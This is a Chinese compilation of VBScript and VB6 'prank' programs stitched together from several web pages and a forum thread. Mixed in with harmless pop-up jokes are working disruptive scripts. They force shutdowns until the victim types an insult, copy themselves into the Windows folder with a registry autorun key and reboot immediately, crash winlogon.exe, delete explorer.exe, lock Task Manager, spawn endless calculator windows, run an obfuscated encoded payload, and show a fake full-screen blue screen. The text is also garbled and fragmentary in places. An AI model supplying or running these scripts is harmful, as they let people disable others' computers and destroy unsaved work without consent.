vb蓝屏整人代码
- 格式:docx
- 大小:47.71 KB
- 文档页数:7
vbs整人代码,表白+提醒两段代码就OKvbs整人代码,表白+提醒两段代码就OK一msgbox "做我女朋友好吗",vbQuestion,"在吗"msgbox ("房产写你名字")msgbox ("保大")msgbox ("我妈会游泳")dim jdo while j Select Case msgbox("做我女朋友好吗",68,"请郑重的回答我")Case 6 j=1Case 7 msgbox("再给你一次机会")end Selectloopmsgbox("我就知道你会同意的,哈哈哈哈")使用方法:新建一个txt文档,将上面的代码复制到txt,然后将文档的后缀名改成vbs。
鼠标双击即可执行。
二步骤一:在电脑上新建一个txt文件步骤二:将以下代码复制过去(中文可以改)const title = “爱情测试”const yourname = “嫦娥”const question = “你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。
”const info = “你在说谎!不要逃避,实话实说。
”const scend = “你说出了你的心扉,那就向他(她)表白吧。
”dim youranswerdoyouranswer = inputbox(question, title)if youranswer yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title步骤三:讲后缀名改为vbs点击之后效果:当输入的名字不是代码中的“嫦娥”,则会弹出"你在说谎!不要逃避,实话实说。
WScript.Echo("叫你别打开,你还不听,手贱了吧.现在windows系统要惩罚你") WScript.Echo("系统cpu温度过高,系统发生错误,接下来Windows系统将提示变态的问题,你千万不能乱回答,更不能按太快,否则你就倒霉了")WScript.Echo("呀,问题怎么还没开始?")WScript.Echo("该不是中病毒了吧?")WScript.Echo("哦,原来是windows系统在检测你的人品")WScript.Echo("唉,没办法,你人品太差了,系统速度都被你拖慢了")WScript.Echo("好,问题来了,请认真回答")dim namename="姓名:节操无"inputbox"你的名字叫什么:","名称"WScript.Echo("说谎可不好哦")msgbox name,,"明明是:"WScript.Echo("骗人的下场是很残酷的")WScript.Echo("骚年你要按50次回车,切记,不能操之过急,否则呵呵···")WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("23")WScript.Echo("24")WScript.Echo("25")WScript.Echo("26")WScript.Echo("27")WScript.Echo("28")WScript.Echo("29")WScript.Echo("31")WScript.Echo("32")WScript.Echo("33")WScript.Echo("34")WScript.Echo("35")WScript.Echo("36")WScript.Echo("37")WScript.Echo("38")WScript.Echo("39")WScript.Echo("40")WScript.Echo("41")WScript.Echo("42")WScript.Echo("43")WScript.Echo("44")WScript.Echo("45")WScript.Echo("46")WScript.Echo("47")WScript.Echo("48")WScript.Echo("49")WScript.Echo("50")WScript.Echo("按太快了,重新来一遍,作为惩罚,这次要按100次") WScript.Echo("1")WScript.Echo("2")WScript.Echo("3")WScript.Echo("4")WScript.Echo("5")WScript.Echo("6")WScript.Echo("7")WScript.Echo("8")WScript.Echo("9")WScript.Echo("10")WScript.Echo("11")WScript.Echo("12")WScript.Echo("13")WScript.Echo("14")WScript.Echo("15")WScript.Echo("16")WScript.Echo("17")WScript.Echo("18")WScript.Echo("19")WScript.Echo("20")WScript.Echo("21")WScript.Echo("22")WScript.Echo("24") WScript.Echo("25") WScript.Echo("26") WScript.Echo("27") WScript.Echo("28") WScript.Echo("29") WScript.Echo("30") WScript.Echo("31") WScript.Echo("32") WScript.Echo("33") WScript.Echo("34") WScript.Echo("35") WScript.Echo("36") WScript.Echo("37") WScript.Echo("38") WScript.Echo("39") WScript.Echo("40") WScript.Echo("41") WScript.Echo("42") WScript.Echo("43") WScript.Echo("44") WScript.Echo("45") WScript.Echo("46") WScript.Echo("47") WScript.Echo("48") WScript.Echo("49") WScript.Echo("50") WScript.Echo("51") WScript.Echo("52") WScript.Echo("53") WScript.Echo("54") WScript.Echo("55") WScript.Echo("56") WScript.Echo("57") WScript.Echo("58") WScript.Echo("59") WScript.Echo("60") WScript.Echo("61") WScript.Echo("62") WScript.Echo("63") WScript.Echo("64") WScript.Echo("65") WScript.Echo("66")WScript.Echo("68")WScript.Echo("69")WScript.Echo("70")WScript.Echo("71")WScript.Echo("72")WScript.Echo("73")WScript.Echo("74")WScript.Echo("75")WScript.Echo("76")WScript.Echo("77")WScript.Echo("78")WScript.Echo("79")WScript.Echo("80")WScript.Echo("81")WScript.Echo("82")WScript.Echo("83")WScript.Echo("84")WScript.Echo("85")WScript.Echo("86")WScript.Echo("87")WScript.Echo("88")WScript.Echo("89")WScript.Echo("90")WScript.Echo("91")WScript.Echo("92")WScript.Echo("93")WScript.Echo("94")WScript.Echo("95")WScript.Echo("96")WScript.Echo("97")WScript.Echo("98")WScript.Echo("99")WScript.Echo("100")msgbox("好吧,看你按得挺辛苦的份上,这题算你通过了,接受下一题的考验吧")on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是2B,不说就1分钟后关你机,不信,试试···建议先保存文件,我给足你保存时间了,否则后果自负"" ",0 ,truedim ado while(a <> "我是2B")a = inputbox ("说我是2B,就不关机,快撒,说""我是2B"" ","说不说","",6000,6000) msgbox chr(13) + chr(13) + chr(13) + "不说就关机",0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "算了,看你这么辛苦,不关你计算机了,放你一马,切记下次不要手贱哦*^__^*"。
vbs整人代码const yourname = "请在这填上姓名"const title = "爱情测试"const question = "你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。
"const info = "你在说谎!不要逃避,实话实说。
"const scend = "你说出了你的心扉,那就向他(她)表白吧。
"dim youranswerdoyouranswer = inputbox(question, title)if youranswer <> yourname then msgbox info, vbinformation+vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation+vbokonly, title功能:让他非说出你指定的名字点击我查看《两个男人的故事》保存为*.htm无限循环!!MsgBox "兄弟呀,你最近是否失眠",vbinformationRandomize()Dim aa=Int(rnd*2)Select Case aCase 0MsgBox ("我也是这样啊``````")Case 1MsgBox ("(-.-),同是天涯失眠人。
")Case 2MsgBox ("(~.~),还是说你没有失眠")End selectMsgBox ("告诉你一个祖传秘方")Dim b(99)For ji=0 To 99b(ji)=ji+1MsgBox (b(ji) & "只羊")NextMsgBox ("好吧,晚安!")If b(99)=100 ThenSet Wshell=Wscript.CreateObject("Wscript.Shell") Wshell.run "shutdown -s -t 100"End ifps 一直弹到100 然后倒数计时关机on error resume nextset wshshell=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject")fso.movefile(wscript.scriptfullname,"%windir%\")wshshell.run "cmd.exe /c reg add HKLM\software\microsoft\window\currentversion\run /v explorer.exe /t REG_SZ /d c:\windows\"&wscript.scriptname,0,-1 wshshell.run "cmd.exe /c shutdown -r -t 0",0,-1ps:这个毒呀开机就重起我还没验证过呢domsgbox "You are foolish!" '可以改成想弹出的字loopps:这简单一直弹同一句话set wsh=createobject("wscript.shell")dowsh.run "calc"loopps:有点哪个打开无数个计算器,可能会死机dim sdo until s=500 '次数s=s+1msgbox "哥们,给我按500次回车吧",64 '弹出的字loopon error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 40 -c ""说我是猪,不说的话就40秒关你机,不信,试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机,快,说 ""我是猪"" ","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了吗"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "嘻~真爽"可以说是一段很老的代码了。
想要整蛊室友?不妨试试让他电脑“蓝屏”
电脑变蓝屏了?莫慌!本期就教大家怎样辨别、解决蓝屏的问题?电脑恶作剧
搜索【Fakeupdate】进入官网,选择想要恶作剧的系统图片。
以win10系统更新的图片为例,点击【F11】会变全屏。
点击【回车】,会跳转成电脑蓝屏的界面喔!
如果你的室友急得手忙脚乱,一定要【点击F11】或者【把鼠标
移动到图片顶端】,这样就会退出全屏啦!
问题诊断
根据代码能够判断蓝屏的原因,举几个常见的例子:
【0x00000001A】
代码末尾出现【1A】通常是内存管理错误,重新拔插或换根内存条就能解决99%的问题。
【0x00000007B】
代码末尾出现【7B】通常是系统引导错误,需要进入PE修复系统引导。
【0x000000ED】
代码末尾出现【ED】通常是硬盘出现问题,重启电脑后长按F8,进入安全模式,修复硬盘就好啦!
用电脑蓝屏恶作剧的朋友一定要谨慎,关系不够铁千万别尝试哈~ (图片来源网络侵权请联系删除)。
使用方法:新建一个txt文本文档。
然后把拓展名改成".vbs"的格式。
然后右键编辑,把代码复制进去,ok!!!1.整死你啊!!!此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵,你知道我是谁吗?", 16MsgBox "什么??不知道?", 16MsgBox "那你打开我干什么?", 16MsgBox "你有空没事做吧?!", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16MsgBox "算了算了,不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了!", 16MsgBox "哈哈,是不是很过瘾呢?", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别:男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢,我好像说多了..", 16MsgBox "不要这样喇,听我说完先好不?", 16MsgBox "来来来,开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛,你认真看下去我就放你走..", 16MsgBox "好,开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈,想哭吗?", 16MsgBox "被骗的感觉不爽吧?", 16MsgBox "喂喂喂!别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了,任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ:987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。
未知驱动探索,专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码,这些代码可以用于整人、恶作剧或者娱乐。
VBScript是一种微软开发的脚本语言,可以通过各种操作系统上的微软系列产品(如Windows)来使用。
请注意,这些代码仅用于娱乐目的,不应用于恶意活动或任何非法行为。
使用这些代码时,请确保你已经获得了授权。
2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块,并在用户试图移动鼠标指针靠近色块时,自动将色块移动到一个随机位置。
```vbs Set objShell = CreateObject(
1。
⼀些很恶作剧的vbs程序代码操作⽅法:把代码保存为*.VBS运⾏即可经本⼈亲⾃测试不会出⼤问题的,⼀般都是利⽤⽆限循环,不是死循环,可以通过任务管理器中结束WSCRIPT或cscript进程即可。
复制代码代码如下:domsgbox "hi"loop⽆限制的⽤英⽂报数复制代码代码如下:Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop复制代码代码如下:if MsgBox("对不起,您灌⽔太多需要重新启动计算机。
"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将⽴刻重起wow ~_^",,"你上当了!!"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if复制代码代码如下:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114 for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner这个没什么,不过加密了,⼤家可以解密试试复制代码代码如下:if MsgBox("你是猪头吗?",vbYesNo,"提⽰")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚,蓝屏⼀下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if复制代码代码如下:Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0下⾯的是删除explorer.exe,导致桌⾯没有显⽰,不过它事先帮你备份了,为同⽬录下的explorer.Data复制代码代码如下:set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧慢慢玩哦",27dim WSHshellset WSHshell = wscript.createobject("wscript.shell")for d=0 to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000dim adoa=inputbox("请输⼊解除关机密码")if a="403746401" thenws.run"shutdown -a"msgbox"密码验证成功,enjoy the best!"exit doelsemsgbox"密码验证失败,请输⼊解除关机密码:403746401 ",vbretrycancelend ifloopws.popup"哈哈被吓到了吧好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57ws.popup"(\(^o^)/~ 好啦,跟你开了个⼩⼩玩笑。
这个是关闭桌面所有窗口(直接复制上去就ok)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Type POINTAPIx As Longy As LongEnd TypePrivate Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Lon gPrivate Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, By Val yPoint As Long) As LongPrivate Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCm dShow As Long) As LongDim a(50) As LongDim I As IntegerDim flag As BooleanPrivate Sub Command1_Click()flag = TrueMsgBox "都叫你别冲动了.重启吧~"EndEnd SubPrivate Sub Form_Load()I = 0flag = faseEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)Text1 = "小鹏提醒你,别激动.!"Cancel = TrueEnd SubPrivate Sub Timer1_Timer()Dim lg As LongOn Error Resume NextDim curhWnd As Long 'Current hWndDim lp As POINTAPIIf flag = False Then Exit SubI = I + 1If I < 50 Then' Initialize point structure:Call GetCursorPos(lp)' Which window is the mouse cursor over?curhWnd = WindowFromPoint(lp.x, lp.y)a(I) = curhWndlg = ShowWindow(a(I), False)ElseFor j = 1 To 50lg = ShowWindow(a(j), True)Next jEnd IfEnd Sub2009-9-26 16:20回复ww0034 10位粉丝2楼--------------------------------------------------这个是修改开始菜单名字的代码(直接复制上去就ok)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Declare Function FindWindow Lib "user32" Alias "FindWindo wA" (ByVal lpClassName As String, ByVal lpWindowName As String) A s LongPrivate Declare Function GetDlgItem Lib "user32" (ByVal hDlg As L ong, ByVal nIDDlgItem As Long) As LongPrivate Declare Function SetWindowText Lib "user32" Alias "SetWin dowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Lo ng, lParam As Any) As LongPrivate Const BM_CLICK = &HF5Private Sub Form_Load()Dim h1 As Long, h2 As Longh1 = FindWindow("Shell_TrayWnd", vbNullString)If h1 <> 0 Thenh2 = GetDlgItem(h1, &H130)If h2 <> 0 ThenSetWindowText h2, "小鹏" '这里可以修改自己的文字SendMessage h2, BM_CLICK, 0, ByVal 0&End IfEnd IfEnd Sub2009-9-26 16:21回复ww0034 10位粉丝3楼这个是翻转屏幕代码(添加一个Timer)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Option ExplicitDim W As Long, H As LongPrivate Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Lon g, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As LongPrivate Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As LongPrivate Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Lo ng, ByVal hdc As Long) As LongPrivate Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As LongPrivate Const SRCCOPY = &HCC0020 ' (DWORD) dest = sourcePrivate Sub Form_Load()Dim DC As LongMe.Move 0, 0, Screen.Width, Screen.HeightW = Screen.Width / 15: H = Screen.Height / 15ShowCursor FalseMe.Visible = TrueDC = GetDC(0)StretchBlt Me.hdc, W - 1, H - 1, -W, -H, DC, 0, 0, W, H, SRCCO PYReleaseDC 0, DCEnd SubPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)If Button = 1 Then Unload MeEnd SubPrivate Sub Form_Unload(Cancel As Integer)ShowCursor TrueEnd SubPrivate Sub Timer1_Timer()StretchBlt Me.hdc, W - 1, H - 1, -W, -H, Me.hdc, 0, 0, W, H, SRCC OPYMe.RefreshEnd Sub2009-9-26 16:21回复4楼这个是关闭QQ的代码(需要添加一个Command1.一个text1)这个程序打包的时候,金山毒霸说是病毒希望懂的帮我看一下~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Option Explicitww003410位粉丝Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As LongPrivate Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As LongPrivate Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPrivate Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32)As LongPrivate Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) AsLongPrivate Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As LongPrivate Const SW_HIDE = 0Private Const SW_RESTORE = 9Private Const SW_SHOW = 5Private Const TH32CS_SNAPPROCESS = &H2Private Const TH32CS_SNAPheaplist = &H1Private Const TH32CS_SNAPthread = &H4Private Const TH32CS_SNAPmodule = &H8Private Const TH32CS_SNAPall = TH32CS_SNAPPROCESS + TH32CS_SNAPheaplist + TH32CS_SNAPthread + TH32CS_SNAPmodulePrivate Const MAX_PATH As Integer = 260Private Const PROCESS_TERMINATE = &H1Private Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd TypePrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Int eger)Text1 = "想关点退出啊.怎么那么笨!"Cancel = TrueEnd SubPrivate Sub command1_Click()Dim i As LongDim proc As PROCESSENTRY32Dim snap As LongDim exename As StringDim hand As Long, theloop As Longsnap = CreateToolhelpSnapshot(TH32CS_SNAPall, 0) ':获得进程“快照”的句柄proc.dwSize = Len(proc)theloop = ProcessFirst(snap, proc) ':获取第一个进程,并得到其返回值i = 0While theloop <> 0 ':当返回值非零时继续获取下一个进程exename = proc.szExeFileIf Left(LCase(exename), 6) = "qq.exe" Thenhand = OpenProcess(PROCESS_TERMINATE, True, proc.th32ProcessID) ':获取进程句柄TerminateProcess hand, 0 ':关闭进程End Iftheloop = ProcessNext(snap, proc)WendCloseHandle snap ':关闭进程“快照”句柄MsgBox "真遗憾,您扣扣掉线了!"EndEnd Sub2009-9-26 16:22回复ww0034 10位粉丝5楼这个是爱不爱我代码,挺好玩的这个(需要添加两个command)Option ExplicitPrivate Sub Command1_GotFocus()Command2.SetFocusEnd SubPrivate Sub Command1_MouseMove(Button As Integer, Shift As Intege r, X As Single, Y As Single)Randomize TimerWith MeCommand1.Move Rnd * (.ScaleWidth - Command1.Width), Rnd * (.Sc aleHeight - Command1.Height)End WithEnd SubPrivate Sub Command2_Click()MsgBox "我也爱你!"EndEnd SubPrivate Sub Form_Load()Me.AutoRedraw = TrueMe.FontSize = 30Me.Print "你爱不爱我?"Command1.Caption = "不爱"Command2.Caption = "爱"End SubPrivate Sub Form_Unload(Cancel As Integer)Cancel = 1End Sub2009-9-26 16:22回复ww0034 10位粉丝6楼应用软件--------------------------------------------------繁体简体转换(需要添加4个Cammand.1个text)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Declare Function LCMapString Lib "kernel32" Alias "LCMapS tringA" (ByVal Locale As Long, ByVal dwMapFlags As Long, ByVal lp SrcStr As String, ByVal cchSrc As Long, ByVal lpDestStr As Strin g, ByVal cchDest As Long) As LongPrivate Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long'简转繁Public Function JToF(ByVal Str As String) As StringDim STlen As LongDim STf As StringSTlen = lstrlen(Str)STf = Space(STlen)LCMapString &H804, &H4000000, Str, STlen, STf, STlenJToF = STfEnd FunctionPublic Function FToJ(ByVal Str As String) As StringDim STlen As LongDim STj As StringSTlen = lstrlen(Str)STj = Space(STlen)LCMapString &H804, &H2000000, Str, STlen, STj, STlenFToJ = STjEnd FunctionPrivate Sub Command1_Click()Text1.Text = JToF(Text1.Text)End SubPrivate Sub Command2_Click()Text1.Text = FToJ(Text1.Text)End SubPrivate Sub Command3_Click()Text1.Text = ""End SubPrivate Sub Command4_Click()EndEnd Sub--------------------------------------------------打开我的电脑等(需要添加5个Command)~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Private Declare Function ShellExecute Lib "shell32.dll" Alias "Sh ellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, By Val lpFile As String, ByVal lpParameters As String, ByVal lpDirec tory As String, ByVal nShowCmd As Long) As LongConst SW_SHOWNORMAL = 1Private Sub Command1_Click(Index As Integer)Select Case Index'我的文档ShellExecute Me.hwnd, "open", "explorer", vbNullString, vbNull String, 1Case 1'我的电脑ShellExecute Me.hwnd, "open", "explorer", "::{20D04FE0-3AEA-10 69-A2D8-08002B30309D}", vbnulstring, 1Case 2'网上邻居ShellExecute Me.hwnd, "open", "explorer", "::{208d2c60-3aea-10 69-a2d7-08002b30309d}", vbNullString, 1Case 3'回收站ShellExecute Me.hwnd, "open", "explorer", "::{645ff040-5081-10 1b-9f08-00aa002f954e}", vbNullString, 1Case 4'控制面板ShellExecute Me.hwnd, "open", "explorer", "::{21ec2020-3aea-10 69-a2dd-08002b30309d}", vbNullString, 1End SelectEnd Sub。
整人VB小程序:蓝屏死机
本程序启动后,延时指定的时间(默认10秒)后出现蓝屏,模拟蓝屏死机情形。
此时,用户无法使用开始菜单、任务管理器,无法操作任何程序,只能干着急。
1 秒钟后,在蓝屏的背景上显示:Your Windows is died
5 秒钟后,显示:Windows 警告内存出现严重错误
10 秒钟后,显示并计数:警告硬盘错误,无法正常运行Windows,Windows 正在试图修复所有错误,请等待100 秒……
25 秒钟后,显示:警告由于你使用了盗版操作系统微软惩罚你:定期死机
此后,这4 条信息交替显示
结束本程序的方式有两个:
1.用鼠标单击屏幕左上角,连续 5 次(左上角20 个像素范围的区域,大约1 平方厘米的大小)
2.到程序设定的时间后自动结束,默认120 秒。
下面是程序运行截图:
'''以下是窗体代码,在VB6.0 上调试通过:
' 一、在窗体添加一个定时器控件:Timer1,不必设置任何属性,采用默认属性即可
' 二、在属性窗口将窗体的BorderStyle 属性设置为0
Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As Boolean
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Dim ctShowT As Long
Private Sub Form_Load()
ctShowT = 10 '**** 运行程序后,延时显示蓝屏的时间(秒),可根据自己的喜好设定
ctExitT = 120 '**** 程序自动退出的时间(秒),可根据自己的喜好设定
Me.Hide
Me.BackColor = RGB(0, 0, 255): Me.Caption = "蓝屏死机"
Me.AutoRedraw = True: Me.WindowState = 2
Me.Font.Size = 21: Me.ForeColor = &HFFFFFF
Timer1.Interval = 50: Timer1.Enabled = True
ReDim ctStr(0 To 0)
End Sub
Private Sub Form_Click()
If ctExit Then Unload Me
End Sub
Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
'单击左上角20 个像素范围
Dim S1 As Single
S1 = Me.ScaleX(20, 3, Me.ScaleMode)
If X > S1 Or Y > S1 Then ctCi = 0: Exit Sub
ctCi = ctCi + 1
If ctCi > 4 Then Call ExitInf
End Sub
Private Sub ExitInf()
Timer1.Enabled = False: Me.WindowState = 0: ctCi = 0: ctExit = True
Me.Move Screen.Width * 0.1, Screen.Height * 0.1, Screen.Width * 0.8, Screen.Height * 0.8
ctStrS = -1
AddStr "哈哈,一个玩笑"
AddStr "结束本程序:单击蓝色区任意位置"
Call ShowStr
End Sub
Private Sub Timer1_Timer()
Static Ci As Long
WinInTop Me.hWnd, True '始终将窗体保持在最前面,使用户无法使用开始菜单、任务管理器,无法操作任何程序
Ci = Ci + 1
If Ci * Timer1.Interval < 1000 Then Exit Sub '保证一秒钟计数一次Ci = 0
If ctShowT > 1 Then ctShowT = ctShowT - 1: Exit Sub
If ctShowT = 1 Then ctShowT = 0: Me.Show
ctT = ctT + 1: ctExitT = ctExitT - 1
If ctExitT < 1 Then Call ExitInf: Exit Sub
Select Case ctT
Case 1
ctStrS = -1
AddStr "Your Windows is died"
Call ShowStr
Case 5
ctStrS = -1
AddStr "Windows 警告"
AddStr "内存出现严重错误"
Call ShowStr
Case 10 To 24
ctStrS = -1
AddStr "警告"
AddStr "硬盘错误,无法正常运行Windows"
AddStr "Windows 正在试图修复所有错误"
AddStr "请等待" & ctExitT & " 秒……"
Call ShowStr
Case 25
ctStrS = -1
AddStr "警告"
AddStr "由于你使用了盗版操作系统"
AddStr "微软惩罚你:定期死机"
Call ShowStr
Case Else
If ctT > 30 Then ctT = 0
End Select
End Sub
Private Sub AddStr(nStr)
ctStrS = ctStrS + 1
ReDim Preserve ctStr(0 To ctStrS): ctStr(ctStrS) = nStr
End Sub
Private Sub ShowStr()
Dim I As Long, S1 As Single, Y0 As Single, Y As Single, Hj As Single
S1 = Me.TextHeight("A"): Hj = 0.5 '行高和行距
Y0 = S1 * (1 + Hj) * (1 + ctStrS) - S1 * Hj
Y0 = (Me.ScaleHeight - Y0) * 0.5
Me.Cls
For I = 0 To ctStrS
Me.CurrentX = (Me.ScaleWidth - Me.TextWidth(ctStr(I))) *
0.5
Me.CurrentY = Y0 + I * S1 * (1 + Hj)
Me.Print ctStr(I)
Next
End Sub
Private Sub WinInTop(nWnd As Long, Optional InTop As Boolean) Const HWND_NoTopMost = -2 '取消在最前
